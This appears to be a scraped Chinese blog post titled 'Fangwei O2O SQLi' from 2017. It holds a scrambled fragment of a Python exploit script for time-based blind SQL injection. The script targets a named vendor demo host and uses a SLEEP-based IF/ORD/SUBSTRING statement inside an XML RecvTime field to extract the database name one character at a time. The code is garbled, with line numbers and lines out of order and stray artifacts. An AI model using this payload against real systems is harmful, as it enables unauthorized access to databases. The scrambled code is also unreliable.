方維O2O SQLi
阿新 • • 發佈：2017-05-31
out sleep div gre bst end imp post ogre
/* */[\]^_`abcdefghijklmnopqrstuvwxyz{|}~")
12
13 def main():
14 headers = {
15 "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0",
16 "X-Forwarded-For": "221.179.180.156"}
17
18 payload = "<A><Body><Message><SrcMobile>0</SrcMobile><Content>0</Content><RecvTime>0‘ OR %s#</RecvTime></Message></Body></A>1 #!/usr/bin/env python 2 # -*- coding: utf-8 -*- 3 4 from __future__ import print_function 5 6 import requests 7 8 host = "http://o2odemo.fanwe.net/" 9 10 statement = "IF(ORD(SUBSTRING((DATABASE()), %s, 1)) = %s, SLEEP(1), 0)" 11 characters = list(" !\"#$%&‘()*+,-./0123456789:;<=>[email protected]
方維O2O SQLi